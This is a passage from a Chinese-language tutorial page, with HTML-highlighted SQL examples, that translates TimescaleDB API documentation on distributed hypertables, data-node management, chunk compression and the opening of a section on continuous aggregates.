class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> chunks_detailed_size(<span class="string">&#x27;dist_table&#x27;</span>)</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> chunk_name, node_name;</span><br><span class="line"></span><br><span class="line">     chunk_schema      <span class="operator">|</span>      chunk_name       <span class="operator">|</span> table_bytes <span class="operator">|</span> index_bytes <span class="operator">|</span> toast_bytes <span class="operator">|</span> total_bytes <span class="operator">|</span>       node_name</span><br><span class="line"><span class="comment">-----------------------+-----------------------+-------------+-------------+-------------+-------------+-----------------------</span></span><br><span class="line"> _timescaledb_internal <span class="operator">|</span> _dist_hyper_1_1_chunk <span class="operator">|</span>        <span class="number">8192</span> <span class="operator">|</span>       <span class="number">32768</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>       <span class="number">40960</span> <span class="operator">|</span> data_node_1</span><br><span class="line"> _timescaledb_internal <span class="operator">|</span> _dist_hyper_1_2_chunk <span class="operator">|</span>        <span class="number">8192</span> <span class="operator">|</span>       <span class="number">32768</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>       <span class="number">40960</span> <span class="operator">|</span> data_node_2</span><br><span class="line"> _timescaledb_internal <span class="operator">|</span> _dist_hyper_1_3_chunk <span class="operator">|</span>        <span class="number">8192</span> <span class="operator">|</span>       <span class="number">32768</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>       <span class="number">40960</span> <span class="operator">|</span> data_node_3</span><br></pre></td></tr></table></figure><h2 id="四-分布式超表">四.分布式超表</h2><h3 id="1-创建分布式超表">1.创建分布式超表</h3><p>创建分布在多节点环境中的 TimescaleDB 超表。使用此功能代替create_hypertable。创建分布式超表时。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 创建一个表，该表将按“位置”列跨数据节点进行分区。请注意，空间分区的数量自动等于分配给此超级表的数据节点数量（在这种情况下，所有已配置的数据节点，因为 data_nodes未指定）。</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间分区字段&#x27;</span>, <span class="string">&#x27;空间分区字段&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 使用一组特定的数据节点创建一个表</span><br><span class="line"># data_nodes用于分布式超级表的数据节点集。如果不存在，则默认为访问节点（创建分布式超级表的节点）已知的所有数据节点。</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间分区字段&#x27;</span>, <span class="string">&#x27;空间分区字段&#x27;</span>,</span><br><span class="line">    data_nodes <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;&#123; &quot;data_node_1&quot;, &quot;data_node_2&quot;, &quot;data_node_4&quot;, &quot;data_node_7&quot; &#125;&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-添加新的数据节点-add-data-node">2.添加新的数据节点 add_data_node()</h3><p>在访问节点上添加一个新的数据节点，供分布式超级表使用。添加数据节点后创建的分布式超级表将自动使用数据节点，而现有的分布式超级表需要额外的 <a href="https://docs.timescale.com/api/latest/distributed-hypertables/attach_data_node/"><code>attach_data_node</code></a>.</p><p>如果数据节点已经存在，则该命令将根据 的值中止并显示错误或通知<code>if_not_exists</code>。</p><p>出于安全考虑，只有超级用户或具有必要权限的用户才能添加数据节点（详见下文）。添加数据节点时，访问节点也会尝试连接到数据节点，因此需要一种对其进行身份验证的方法。TimescaleDB 当前支持多种不同的此类身份验证方法以提高灵活性（包括信任、用户映射、密码和证书方法）。有关节点到节点身份验证的更多信息，请参阅[设置多节点 TimescaleDB][多节点] 。</p><p>除非<code>bootstrap</code>为 false，否则该函数将尝试通过以下方式引导数据节点：</p><ol><li>创建其中给出的数据库<code>database</code>将用作新的数据节点。</li><li>在新数据库中加载 TimescaleDB 扩展。</li><li>设置元数据使数据节点成为分布式数据库的一部分。</li></ol><p>请注意，引导期间不会在新数据节点上自动创建用户角色。该<a href="https://docs.timescale.com/api/latest/distributed-hypertables/distributed_exec/"><code>distributed_exec</code></a> 过程可用于在添加数据节点后在数据节点上创建其他角色。</p><h4 id="错误">错误</h4><p>如果出现以下情况会报错：</p><ul><li>该函数在事务内执行。</li><li>该函数在已经是数据节点的数据库中执行。</li><li>数据节点已经存在并且<code>if_not_exists</code>是<code>FALSE</code>。</li><li>由于网络故障或无效配置（例如，错误的端口，或无法对用户进行身份验证），接入节点无法连接到数据节点。</li><li>如果<code>bootstrap</code>是<code>FALSE</code>并且数据库之前没有被引导。</li></ul><h4 id="权限">权限</h4><p>要添加数据节点，您必须是超级用户或拥有外部数据包装器的<code>USAGE</code> 权限<code>timescaledb_fdw</code>。要将此类权限授予常规用户角色，请执行以下操作：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GRANT</span> USAGE <span class="keyword">ON</span> <span class="keyword">FOREIGN</span> DATA WRAPPER timescaledb_fdw <span class="keyword">TO</span> <span class="operator">&lt;</span>newrole<span class="operator">&gt;</span>;</span><br></pre></td></tr></table></figure><p>但是请注意，数据节点上可能仍然需要超级用户权限才能引导它，包括在数据节点上创建 TimescaleDB 扩展，除非它已经安装。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># 假设您有一个现有的超表，conditions并且想要<span class="type">time</span>用作时间分区列和location空间分区列。您还想在两个数据节点上分发 hypertable 的块，dn1.example.com并且 dn2.example.com：</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn1&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn1.example.com&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn2&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn2.example.com&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;time&#x27;</span>, <span class="string">&#x27;location&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 如果要使用此实例本地的两个数据节点创建分布式数据库，可以编写：</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn1&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;localhost&#x27;</span>, database <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn1&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn2&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;localhost&#x27;</span>, database <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn2&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;time&#x27;</span>, <span class="string">&#x27;location&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-附加数据节点-attach-data-node">3.附加数据节点 attach_data_node()</h3><p>将数据节点附加到超表。数据节点之前应该是使用<a href="https://docs.timescale.com/api/latest/distributed-hypertables/add_data_node/"><code>add_data_node</code></a>.</p><p>创建分布式超级表时，默认情况下会使用该超级表的所有可用数据节点，但如果<em>在</em>创建超级表<em>后</em>添加 数据节点，则现有分布式超级表不会自动使用该数据节点。</p><p>如果您希望超表使用稍后创建的数据节点，则必须使用此函数将数据节点附加到超表。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 将数据节点附加dn3到conditions 先前使用 create_distributed_hypertable.</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> attach_data_node(<span class="string">&#x27;dn3&#x27;</span>,<span class="string">&#x27;conditions&#x27;</span>);</span><br><span class="line"></span><br><span class="line">hypertable_id <span class="operator">|</span> node_hypertable_id <span class="operator">|</span>  node_name</span><br><span class="line"><span class="comment">--------------+--------------------+-------------</span></span><br><span class="line">            <span class="number">5</span> <span class="operator">|</span>                  <span class="number">3</span> <span class="operator">|</span> dn3</span><br><span class="line"></span><br><span class="line">(<span class="number">1</span> <span class="type">row</span>)</span><br></pre></td></tr></table></figure><h3 id="4-分离数据节点-detach-data-node">4.分离数据节点 detach_data_node()</h3><p>从一个超级表或所有超级表中分离数据节点。</p><p>分离数据节点的原因包括：</p><ul><li>数据节点不应再被超级表使用，需要从使用它的所有超级表中删除</li><li>您希望为分布式超级表分配更少的数据节点</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># dn3从 中分离数据节点conditions：</span><br><span class="line"><span class="keyword">SELECT</span> detach_data_node(<span class="string">&#x27;dn3&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="5-删除数据节点-delete-data-node（）">5.删除数据节点 delete_data_node（）</h3><p>该函数在访问节点上执行以从本地数据库中删除数据节点。作为删除的一部分，如果满足权限和数据完整性要求，数据节点将从使用它的所有超表分离。有关更多信息，请参阅<a href="https://docs.timescale.com/api/latest/distributed-hypertables/detach_data_node/"><code>detach_data_node</code></a>。</p><p>删除数据节点严格来说是本地操作；数据节点本身不受影响，数据节点上相应的远程数据库保持不变，包括其所有数据。该操作是本地的，以确保即使远程数据节点没有响应也能完成，并避免数据节点上的数据意外丢失。</p><p>如果<a href="https://docs.timescale.com/distributed-hypertables/add_data_node"><code>add_data_node</code></a>不先删除数据节点上的数据库或使用另一个数据库，则无法再次添加相同的数据节点。这是为了防止添加以前属于同一个或另一个分布式数据库但不再同步的数据节点。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 删除名为 的数据节点dn1：</span><br><span class="line"><span class="keyword">SELECT</span> delete_data_node(<span class="string">&#x27;dn1&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="6-分布式执行-distributed-exec">6.分布式执行 distributed_exec()</h3><p>此过程用于在访问节点上跨分布式数据库的数据节点执行 SQL 命令。例如，一个用例是在分布式数据库中创建所需的角色和权限。</p><p>该过程可以事务性地运行分布式命令，因此命令可以在任何地方或任何地方执行。但是，并非所有 SQL 命令都可以在事务中运行。这可以用参数切换<code>transactional</code>。请注意，如果执行不是事务性的，则其中一个数据节点上的故障将需要手动处理任何引入的不一致。</p><p>请注意，该命令<em>不在</em>接入节点本身上执行，并且不可能在一次调用中将多个命令链接在一起。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># testrole在分布式数据库中的所有数据节点上创建角色</span><br><span class="line"><span class="keyword">CALL</span> distributed_exec($$ <span class="keyword">CREATE</span> <span class="keyword">USER</span> testrole <span class="keyword">WITH</span> LOGIN $$);</span><br><span class="line"></span><br><span class="line"># testrole在两个特定数据节点上创建角色</span><br><span class="line"><span class="keyword">CALL</span> distributed_exec($$ <span class="keyword">CREATE</span> <span class="keyword">USER</span> testrole <span class="keyword">WITH</span> LOGIN $$, node_list <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;&#123; &quot;dn1&quot;, &quot;dn2&quot; &#125;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># dist_database在数据节点上新建数据库，需要设置transactional为 <span class="literal">FALSE</span></span><br><span class="line"><span class="keyword">CALL</span> distributed_exec(<span class="string">&#x27;CREATE DATABASE dist_database&#x27;</span>, transactional <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">FALSE</span>);</span><br></pre></td></tr></table></figure><h3 id="7-设置超表上空间维度的分区（切片）数。新分区仅影响新块-set-number-partitions">7.设置超表上空间维度的分区（切片）数。新分区仅影响新块 set_number_partitions()</h3><p>设置超表上空间维度的分区（切片）数。新分区仅影响新块。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 对于具有单一空间维度的表：</span><br><span class="line"><span class="keyword">SELECT</span> set_number_partitions(<span class="string">&#x27;conditions&#x27;</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"># 对于具有多个空间维度的表</span><br><span class="line"><span class="keyword">SELECT</span> set_number_partitions(<span class="string">&#x27;conditions&#x27;</span>, <span class="number">2</span>, <span class="string">&#x27;device_id&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="8-将分布式超级表的复制因子设置为给定值-set-replication-factor">8.将分布式超级表的复制因子设置为给定值 set_replication_factor()</h3><p>将分布式超级表的复制因子设置为给定值。更改复制因子不会影响现有块的副本数。更改复制因子后创建的块将根据复制因子的新值进行复制。如果无法满足复制因子，由于附加数据节点的数量小于新的复制因子，该命令会因错误而中止。</p><p>如果现有块的副本数少于复制因子的新值，则该函数将打印警告。</p><h4 id="错误-2">错误</h4><p>如果出现以下情况会报错：</p><ul><li><code>hypertable</code> 不是分布式超级表。</li><li><code>replication_factor</code>小于<code>1</code>，不能在分布式超表上设置。</li><li><code>replication_factor</code> 大于附加数据节点的数量。</li></ul><p>如果需要更大的复制因子，则需要使用<a href="https://docs.timescale.com/api/latest/distributed-hypertables/attach_data_node/">attach_data_node</a>附加更多数据节点。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"># 将分布式超级表的复制因子更新为<span class="number">2</span></span><br><span class="line"><span class="keyword">SELECT</span> set_replication_factor(<span class="string">&#x27;conditions&#x27;</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"># 如果分布式超级表的任何现有块的副本少于 <span class="number">2</span> 个，则警告示例</span><br><span class="line">WARNING:  hypertable &quot;conditions&quot; <span class="keyword">is</span> under<span class="operator">-</span>replicated</span><br><span class="line">DETAIL:  <span class="keyword">Some</span> chunks have less than <span class="number">2</span> replicas.</span><br><span class="line"></span><br><span class="line"># 为具有 <span class="number">2</span> 个附加数据节点的超表提供太大复制因子的示例</span><br><span class="line"><span class="keyword">SELECT</span> set_replication_factor(<span class="string">&#x27;conditions&#x27;</span>, <span class="number">3</span>);</span><br><span class="line">ERROR:  too big replication factor <span class="keyword">for</span> hypertable &quot;conditions&quot;</span><br><span class="line">DETAIL:  The hypertable has <span class="number">2</span> data nodes attached, while the replication factor <span class="keyword">is</span> <span class="number">3.</span></span><br><span class="line">HINT:  Decrease the replication factor <span class="keyword">or</span> attach more data nodes <span class="keyword">to</span> the hypertable.</span><br></pre></td></tr></table></figure><h3 id="9-复制快">9.复制快</h3><p>TimescaleDB 允许您将现有块复制到多节点环境中的新位置。这允许每个数据节点作为某些块的主节点和其他块的备份节点。如果一个数据节点出现故障，它的数据块已经存在于其他节点上，这些节点可以接管为它们提供服务的职责。</p><p>实验性功能可能有错误！它们可能不向后兼容，并且可以在未来的版本中删除。使用这些功能的风险由您自己承担，并且不要在生产中使用任何实验性功能。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># </span><br><span class="line"><span class="keyword">CALL</span> timescaledb_experimental.copy_chunk(‘_timescaledb_internal._dist_hyper_1_1_chunk’, ‘data_node_2’, ‘data_node_3’);</span><br></pre></td></tr></table></figure><h3 id="10-移除快">10.移除快</h3><p>TimescaleDB 允许您将块移动到其他数据节点。当将新数据节点添加到集群并且您希望在更多节点之间重新平衡存储时，可以使用此方法。当一个节点需要从集群中删除时，它也很有用，这只有在所有块都复制到其他数据节点上时才会发生。</p><p>实验性功能可能有错误！它们可能不向后兼容，并且可以在未来的版本中删除。使用这些功能的风险由您自己承担，并且不要在生产中使用任何实验性功能。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CALL</span> timescaledb_experimental.move_chunk(‘_timescaledb_internal._dist_hyper_1_1_chunk’, ‘data_node_2’, ‘data_node_3’);</span><br><span class="line"></span><br><span class="line">[postgres<span class="operator">-</span>cluster]: https:<span class="operator">/</span><span class="operator">/</span>www.postgresql.org<span class="operator">/</span>docs<span class="operator">/</span><span class="keyword">current</span><span class="operator">/</span><span class="keyword">sql</span><span class="operator">-</span>cluster.html</span><br><span class="line">[postgres<span class="operator">-</span>altertable]: https:<span class="operator">/</span><span class="operator">/</span>www.postgresql.org<span class="operator">/</span>docs<span class="operator">/</span><span class="number">13</span><span class="operator">/</span><span class="keyword">sql</span><span class="operator">-</span>altertable.html</span><br><span class="line">[<span class="keyword">using</span><span class="operator">-</span>data<span class="operator">-</span>tiering]: timescaledb<span class="operator">/</span>how<span class="operator">-</span><span class="keyword">to</span><span class="operator">-</span>guides<span class="operator">/</span>data<span class="operator">-</span>tiering<span class="operator">/</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">export const _frontmatter <span class="operator">=</span> &#123;&#125;</span><br></pre></td></tr></table></figure><h2 id="五-压缩">五.压缩</h2><h3 id="1-开启压缩">1.开启压缩</h3><p>timescaledb.compress 启用/禁用压缩</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ALTER TABLE</span> <span class="operator">&lt;</span>table_name<span class="operator">&gt;</span> <span class="keyword">SET</span> (timescaledb.compress, timescaledb.compress_orderby <span class="operator">=</span> <span class="string">&#x27;&lt;column_name&gt; [ASC | DESC] [ NULLS &#123; FIRST | LAST &#125; ] [, ...]&#x27;</span>,</span><br><span class="line">timescaledb.compress_segmentby <span class="operator">=</span> <span class="string">&#x27;&lt;column_name&gt; [, ...]&#x27;</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">ALTER TABLE</span> metrics <span class="keyword">SET</span> (timescaledb.compress, timescaledb.compress_orderby <span class="operator">=</span> <span class="string">&#x27;time DESC&#x27;</span>, timescaledb.compress_segmentby <span class="operator">=</span> <span class="string">&#x27;device_id&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-添加自动压缩策略-add-compression-policy">2.添加自动压缩策略 add_compression_policy()</h3><p>允许您设置一个策略，系统将根据该策略在达到给定年龄后在后台自动压缩块。</p><p>请注意，压缩策略只能在已启用压缩的超级表上创建，例如，通过<a href="https://docs.timescale.com/api/latest/compression/alter_table_compression/"><code>ALTER TABLE</code></a>命令设置<code>timescaledb.compress</code>和其他配置参数。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 添加一个策略来压缩 <span class="string">&#x27;cpu&#x27;</span> hypertable 上超过 <span class="number">60</span> 天的块。</span><br><span class="line"><span class="keyword">SELECT</span> add_compression_policy(<span class="string">&#x27;cpu&#x27;</span>, <span class="type">INTERVAL</span> <span class="string">&#x27;60d&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 将压缩块策略添加到具有基于整数的时间列的超表：</span><br><span class="line"><span class="keyword">SELECT</span> add_compression_policy(<span class="string">&#x27;table_with_bigint_time&#x27;</span>, <span class="type">BIGINT</span> <span class="string">&#x27;600000&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-移除压缩策略-remove-compression-policy">3.移除压缩策略 remove_compression_policy()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 从“cpu”表中删除压缩策略：</span><br><span class="line"><span class="keyword">SELECT</span> remove_compression_policy(<span class="string">&#x27;cpu&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="4-压缩快-compress-chunk（）">4.压缩快 compress_chunk（）</h3><p>compress_chunk 函数用于压缩特定的块。当用户想要更多地控制压缩调度时，它最常用于代替 <a href="https://docs.timescale.com/api/latest/compression/add_compression_policy/">add_compression_policy</a>函数。对于大多数用户，我们建议改用策略框架。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 压缩单个块</span><br><span class="line"><span class="keyword">SELECT</span> compress_chunk(<span class="string">&#x27;_timescaledb_internal._hyper_1_2_chunk&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="5-解压缩快-decompress-chunk（）">5.解压缩快 decompress_chunk（）</h3><p>如果您需要修改或向已压缩的块添加数据，则需要先解压缩该块。这对于回填旧数据特别有用。</p><p>在为了数据回填或更新而解压缩块之前，您应该首先停止在您计划执行此操作的超表上处于活动状态的任何压缩策略。更新和/或回填完成后，只需重新打开策略，系统就会重新压缩您的块。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 解压单个快</span><br><span class="line"><span class="keyword">SELECT</span> decompress_chunk(<span class="string">&#x27;_timescaledb_internal._hyper_2_2_chunk&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="6-获取与超表压缩相关的统计信息hypertable-compression-stats">6.获取与超表压缩相关的统计信息hypertable_compression_stats</h3><p>获取与超表压缩相关的统计信息。所有大小都以字节为单位。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> hypertable_compression_stats(<span class="string">&#x27;conditions&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">------------------+------</span></span><br><span class="line">total_chunks                   <span class="operator">|</span> <span class="number">4</span></span><br><span class="line">number_compressed_chunks       <span class="operator">|</span> <span class="number">1</span></span><br><span class="line">before_compression_table_bytes <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">before_compression_index_bytes <span class="operator">|</span> <span class="number">32768</span></span><br><span class="line">before_compression_toast_bytes <span class="operator">|</span> <span class="number">0</span></span><br><span class="line">before_compression_total_bytes <span class="operator">|</span> <span class="number">40960</span></span><br><span class="line">after_compression_table_bytes  <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">after_compression_index_bytes  <span class="operator">|</span> <span class="number">32768</span></span><br><span class="line">after_compression_toast_bytes  <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">after_compression_total_bytes  <span class="operator">|</span> <span class="number">49152</span></span><br><span class="line">node_name   </span><br><span class="line"></span><br><span class="line"># 使用pg_size_pretty以更人性化的格式获取输出。</span><br><span class="line"><span class="keyword">SELECT</span> pg_size_pretty(after_compression_total_bytes) <span class="keyword">as</span> total</span><br><span class="line">  <span class="keyword">FROM</span> hypertable_compression_stats(<span class="string">&#x27;conditions&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">--+------</span></span><br><span class="line">total <span class="operator">|</span> <span class="number">48</span> kB</span><br></pre></td></tr></table></figure><h3 id="7-获取与超表压缩相关的特定于块的统计信息chunk-compression-stats">7.获取与超表压缩相关的特定于块的统计信息chunk_compression_stats()</h3><p>所有大小都以字节为单位。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> chunk_compression_stats(<span class="string">&#x27;conditions&#x27;</span>)</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> chunk_name LIMIT <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">------------------+----------------------</span></span><br><span class="line">chunk_schema                   <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">chunk_name                     <span class="operator">|</span> _hyper_1_1_chunk</span><br><span class="line">compression_status             <span class="operator">|</span> Uncompressed</span><br><span class="line">before_compression_table_bytes <span class="operator">|</span></span><br><span class="line">before_compression_index_bytes <span class="operator">|</span></span><br><span class="line">before_compression_toast_bytes <span class="operator">|</span></span><br><span class="line">before_compression_total_bytes <span class="operator">|</span></span><br><span class="line">after_compression_table_bytes  <span class="operator">|</span></span><br><span class="line">after_compression_index_bytes  <span class="operator">|</span></span><br><span class="line">after_compression_toast_bytes  <span class="operator">|</span></span><br><span class="line">after_compression_total_bytes  <span class="operator">|</span></span><br><span class="line">node_name                      <span class="operator">|</span></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">2</span> ]<span class="comment">------------------+----------------------</span></span><br><span class="line">chunk_schema                   <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">chunk_name                     <span class="operator">|</span> _hyper_1_2_chunk</span><br><span class="line">compression_status             <span class="operator">|</span> Compressed</span><br><span class="line">before_compression_table_bytes <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">before_compression_index_bytes <span class="operator">|</span> <span class="number">32768</span></span><br><span class="line">before_compression_toast_bytes <span class="operator">|</span> <span class="number">0</span></span><br><span class="line">before_compression_total_bytes <span class="operator">|</span> <span class="number">40960</span></span><br><span class="line">after_compression_table_bytes  <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">after_compression_index_bytes  <span class="operator">|</span> <span class="number">32768</span></span><br><span class="line">after_compression_toast_bytes  <span class="operator">|</span> <span class="number">8192</span></span><br><span class="line">after_compression_total_bytes  <span class="operator">|</span> <span class="number">49152</span></span><br><span class="line">node_name                      <span class="operator">|</span></span><br><span class="line"></span><br><span class="line"># 使用pg_size_pretty以更人性化的格式获取输出</span><br><span class="line"><span class="keyword">SELECT</span> pg_size_pretty(after_compression_total_bytes) <span class="keyword">AS</span> total</span><br><span class="line">  <span class="keyword">FROM</span> chunk_compression_stats(<span class="string">&#x27;conditions&#x27;</span>)</span><br><span class="line">  <span class="keyword">WHERE</span> compression_status <span class="operator">=</span> <span class="string">&#x27;Compressed&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">--+------</span></span><br><span class="line">total <span class="operator">|</span> <span class="number">48</span> kB</span><br></pre></td></tr></table></figure><h2 id="六-连续聚合">六.连续聚合</h2><p>TimescaleDB 允许用户以预定义的时间间隔自动重新计算聚合并实现结果。这适用于经常使用的查询。</p><h3 id="1-创建物化视图">1.创建物化视图</h3><p>连续聚合对它们可以支持的查询类型有一些限制，下面有更详细的描述。例如，该<code>FROM</code>子句必须仅提供一个超表，即不支持连接、CTE、视图或子查询。该<code>GROUP BY</code>子句必须在 hypertable 的时间列上包含一个时间段，并且所有聚合都必须是可并行化的。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 